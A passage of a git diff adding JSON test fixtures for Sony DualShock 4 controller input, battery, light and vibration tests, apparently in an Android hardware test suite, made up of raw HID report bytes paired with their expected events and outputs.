     0x15, 0x00, 0x26, 0xff, 0x00, 0x81, 0x03, 0x75, 0x01, 0x95, 0x13, 0x15, 0x00, 0x25, 0x01, 0x35,
     0x00, 0x45, 0x01, 0x05, 0x09, 0x19, 0x01, 0x29, 0x13, 0x81, 0x02, 0x75, 0x01, 0x95, 0x0d, 0x06,
@@ -27,4 +28,3 @@
     }
   ]
 }
-
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_batteryeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_batteryeventtests.json
new file mode 100644
index 0000000..28e23a7
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_batteryeventtests.json
@@ -0,0 +1,43 @@
+[
+
+  {
+    "name": "Battery 100 percent FULL",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd7,
+        0x69, 0x9b, 0xbc],
+        [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6,
+        0x68, 0x3a, 0x37]
+    ],
+    "capacities": [1.0],
+    "status": 5   // BATTERY_STATUS_FULL
+  },
+
+  {
+    "name": "Battery 60 percent status discharging",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e,
+        0x8a, 0xfe, 0xd4],
+        [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+        0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+        0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+        0x23, 0xe0, 0x5d]
+    ],
+    "capacities": [0.55 /* kernel 5.10 or above */, 0.6 /* below kernel 5.10 */],
+    "status": 3 // BATTERY_STATUS_DISCHARGING
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_lighttests.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_lighttests.json
new file mode 100644
index 0000000..26e1ebb
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_lighttests.json
@@ -0,0 +1,48 @@
+// Refer to kernel sony_set_leds() in drivers/hid/hid-sony.c
+[
+  {
+    "id": 1,
+    "lightType": "INPUT_RGB",
+    "lightName": "RGB",
+    "report": [],
+    "lightColor": 0xff446688,
+    "lightPlayerId": 0,
+    "hidEventType": "UHID_OUTPUT",
+    "ledsHidOutput":   // RGB leds brightness
+        [ { "index": 8, "data": 0x44 },
+          { "index": 9, "data": 0x66 },
+          { "index": 10, "data": 0x88 }
+        ]
+  },
+
+  {
+    "id": 1,
+    "lightType": "INPUT_RGB",
+    "lightName": "RGB",
+    "report": [],
+    "lightColor": 0x7f446688,
+    "lightPlayerId": 0,
+    "hidEventType": "UHID_OUTPUT",
+    "ledsHidOutput":   // RGB leds brightness
+        [ { "index": 8, "data": 0x22 },
+          { "index": 9, "data": 0x33 },
+          { "index": 10, "data": 0x44 }
+        ]
+  },
+
+  {
+    "id": 1,
+    "lightType": "INPUT_RGB",
+    "lightName": "RGB",
+    "report": [],
+    "lightColor": 0x00000000,
+    "lightPlayerId": 0,
+    "hidEventType": "UHID_OUTPUT",
+    "ledsHidOutput":   // RGB leds brightness
+        [ { "index": 8, "data": 0x0 },
+          { "index": 9, "data": 0x0 },
+          { "index": 10, "data": 0x0 }
+        ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json
index 4c49453..32cdcbb 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x05c4,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_vibratortests.json b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_vibratortests.json
new file mode 100644
index 0000000..7708a74
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_bluetooth_vibratortests.json
@@ -0,0 +1,41 @@
+// Refer to kernel dualshock4_send_output_report() in drivers/hid/hid-sony.c
+[
+  {
+    "id": 1,
+    "durations" : [1000],
+    "amplitudes" : [192],
+    "leftFfIndex": 7,
+    "rightFfIndex": 6,
+    "output" :
+        [
+            {"index" : 0,
+            "data" : 0x11},   // DUALSHOCK4_CONTROLLER_BLUETOOTH
+
+            {"index" : 1,
+             "data" : 0xc4},   // HID + CRC | sc->ds4_bt_poll_interval
+
+            {"index" : 3,
+             "data" : 0x7}    // blink + LED + motor
+        ]
+  },
+
+  {
+    "id": 1,
+    "durations" : [2000, 2000, 2000, 2000, 2000],
+    "amplitudes" : [16, 32, 64, 128, 255],
+    "leftFfIndex": 7,
+    "rightFfIndex": 6,
+    "output" :
+        [
+            {"index" : 0,
+            "data" : 0x11},   // DUALSHOCK4_CONTROLLER_BLUETOOTH
+
+            {"index" : 1,
+             "data" : 0xc4},   // HID + CRC | sc->ds4_bt_poll_interval
+
+            {"index" : 3,
+             "data" : 0x7}    // blink + LED + motor
+        ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_toucheventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_toucheventtests.json
new file mode 100644
index 0000000..5d9d4a3
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_toucheventtests.json
@@ -0,0 +1,266 @@
+[
+  {
+    "name": "Initial check - should not produce any events",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x85, 0x80, 0xa5, 0x93, 0x1d, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5b,
+      0xc4, 0x53, 0x23]
+    ],
+    "events": [
+    ]
+  },
+  {
+    "name": "Touch center of touchpad",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0x69, 0x1d, 0x52, 0x84, 0x1e, 0x80, 0x00, 0x00, 0x00,
+      0x6f, 0x9d, 0x52, 0x84, 0x1e, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1,
+      0x90, 0x93, 0x37],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x77, 0x9d, 0x52, 0x84, 0x1e, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3,
+      0x02, 0x2b, 0x71]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {"action": "DOWN", "axes": {"AXIS_X": 1106, "AXIS_Y": 488, "AXIS_PRESSURE": 1}},
+      {"action": "UP", "axes": {"AXIS_X": 1106, "AXIS_Y": 488, "AXIS_PRESSURE": 1}}
+    ]
+  },
+  {
+    "name": "Press touchpad button",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xd6, 0x1a, 0xaa, 0x53, 0x22, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd7,
+      0x7f, 0xa5, 0x17],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x19, 0x1a, 0xa7, 0x53, 0x22, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14,
+      0xa9, 0x21, 0xa7],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xfb, 0x9a, 0xa1, 0xd3, 0x21, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
+      0x9d, 0x6f, 0x0a]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {
+        "action": "DOWN",
+        "axes": {"AXIS_X": 938, "AXIS_Y": 549, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1},
+        "buttonState": ["PRIMARY"]
+      },
+      {
+        "action": "BUTTON_PRESS",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1},
+        "buttonState": ["PRIMARY"]
+      },
+      {
+        "action": "BUTTON_RELEASE",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "UP",
+        "axes": {"AXIS_X": 935, "AXIS_RELATIVE_X": -3, "AXIS_Y": 549, "AXIS_PRESSURE": 1}
+      }
+    ]
+  },
+  {
+    "name": "One finger move from top left to bottom right of touchpad",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x0b, 0xa5, 0x22, 0x67, 0x38, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xda,
+      0xe0, 0x2c, 0xe0],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0xb7, 0x26, 0x3f, 0x90, 0x01, 0x80, 0x00, 0x00, 0x00,
+      0xbe, 0x26, 0x40, 0x90, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc,
+      0xf1, 0xb0, 0xb2],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0x5c, 0x26, 0x8b, 0x02, 0x0f, 0x80, 0x00, 0x00, 0x00,
+      0x64, 0x26, 0xc9, 0xd2, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86,
+      0xc4, 0xfc, 0x1f],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0x00, 0x26, 0xdf, 0xd6, 0x30, 0x80, 0x00, 0x00, 0x00,
+      0x08, 0x26, 0x02, 0x97, 0x32, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2,
+      0xc8, 0xc5, 0x75],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x25, 0xa6, 0x25, 0x97, 0x34, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12,
+      0xde, 0xe5, 0x31]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {
+        "action": "DOWN",
+        "axes": {"AXIS_X": 63, "AXIS_Y": 25, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 64, "AXIS_RELATIVE_X": 1, "AXIS_Y": 25, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 651, "AXIS_RELATIVE_X": 587,"AXIS_Y": 240, "AXIS_RELATIVE_Y": 215,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 713, "AXIS_RELATIVE_X": 62, "AXIS_Y": 269, "AXIS_RELATIVE_Y": 29,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1759, "AXIS_RELATIVE_X": 1046, "AXIS_Y": 781, "AXIS_RELATIVE_Y": 512,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1794, "AXIS_RELATIVE_X": 35, "AXIS_Y": 809, "AXIS_RELATIVE_Y": 28,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "UP",
+        "axes": {"AXIS_X": 1794, "AXIS_RELATIVE_X": 35, "AXIS_Y": 809, "AXIS_RELATIVE_Y": 28,
+                 "AXIS_PRESSURE": 1}
+      }
+    ]
+  },
+  {
+    "name": "Two fingers move from top to bottom of touchpad",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xe7, 0x9e, 0xbf, 0x25, 0x35, 0x9f, 0xae, 0xc1, 0x34,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+      0x5f, 0x68, 0x08],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xa3, 0x20, 0xbc, 0x45, 0x05, 0x9f, 0xae, 0xc1, 0x34,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97,
+      0x74, 0xf6, 0xf0],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0xab, 0x20, 0xbc, 0x45, 0x05, 0x9f, 0xae, 0xc1, 0x34,
+      0xb3, 0x20, 0xbc, 0x45, 0x05, 0x9f, 0xae, 0xc1, 0x34, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
+      0xeb, 0x20, 0xcc],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x03, 0x1c, 0x20, 0xbb, 0x45, 0x05, 0x21, 0xff, 0xa0, 0x08,
+      0x24, 0x20, 0xbb, 0x65, 0x05, 0x21, 0xff, 0xc0, 0x08, 0x2b, 0x20, 0xbb, 0x75, 0x05, 0x21,
+      0xff, 0xe0, 0x08, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72,
+      0x2d, 0xe1, 0x0b],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0xab, 0x20, 0x7a, 0xd5, 0x35, 0x21, 0x20, 0x81, 0x34,
+      0xb2, 0x20, 0x7a, 0x25, 0x36, 0x21, 0x21, 0xe1, 0x34, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c,
+      0x4d, 0x05, 0x10],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x03, 0xb9, 0xa0, 0x7a, 0x25, 0x36, 0x21, 0x23, 0x41, 0x35,
+      0xc0, 0xa0, 0x7a, 0x25, 0x36, 0xa1, 0x23, 0x41, 0x35, 0xc7, 0xa0, 0x7a, 0x25, 0x36, 0xa1,
+      0x23, 0x41, 0x35, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa3,
+      0xc4, 0xbd, 0xb7]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {
+        "action": "DOWN",
+        "axes": {"AXIS_X": 1468, "AXIS_Y": 84, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1467, "AXIS_RELATIVE_X": -1, "AXIS_Y": 84, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "POINTER_DOWN",
+        "pointerId": 1,
+        "axes": [
+          {"AXIS_X": 1467, "AXIS_RELATIVE_X": -1, "AXIS_Y": 84, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 255, "AXIS_Y": 138, "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1467, "AXIS_Y": 86, "AXIS_RELATIVE_Y": 2, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 255, "AXIS_Y": 140, "AXIS_RELATIVE_Y": 2, "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1467, "AXIS_Y": 87, "AXIS_RELATIVE_Y": 1, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 255, "AXIS_Y": 142, "AXIS_RELATIVE_Y": 2, "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1402, "AXIS_RELATIVE_X": -65, "AXIS_Y": 861, "AXIS_RELATIVE_Y": 774,
+           "AXIS_PRESSURE": 1},
+          {"AXIS_X": 288, "AXIS_RELATIVE_X": 33, "AXIS_Y": 840, "AXIS_RELATIVE_Y": 698,
+           "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1402, "AXIS_Y": 866, "AXIS_RELATIVE_Y" : 5, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 289, "AXIS_RELATIVE_X" : 1, "AXIS_Y": 846, "AXIS_RELATIVE_Y" : 6,
+           "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "POINTER_UP",
+        "pointerId": 0,
+        "axes": [
+          {"AXIS_X": 1402, "AXIS_Y": 866, "AXIS_RELATIVE_Y" : 5, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 291, "AXIS_RELATIVE_X" : 2, "AXIS_Y": 852, "AXIS_RELATIVE_Y" : 6,
+           "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 291, "AXIS_RELATIVE_X" : 2, "AXIS_Y": 852,  "AXIS_RELATIVE_Y" : 6,
+        "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "UP",
+        "axes": {"AXIS_X": 291, "AXIS_RELATIVE_X" : 2, "AXIS_Y": 852,  "AXIS_RELATIVE_Y" : 6,
+        "AXIS_PRESSURE": 1}
+      }
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_batteryeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_batteryeventtests.json
new file mode 100644
index 0000000..99b7ec2
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_batteryeventtests.json
@@ -0,0 +1,34 @@
+[
+
+  {
+    "name": "Battery 100 percent FULL",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x8c, 0x00, 0x00, 0xfb, 0x8c, 0x10, 0x0e, 0x00,
+       0x06, 0x00, 0xe6, 0xff, 0x09, 0x00, 0x87, 0x1d, 0x61, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x1b, 0x00, 0x00, 0x01, 0xf4, 0x80, 0x55, 0x70, 0x25, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,
+       0x00, 0x00, 0x80, 0x00]
+    ],
+    "capacities": [1.0],
+    "status": 5   // BATTERY_STATUS_FULL
+  },
+
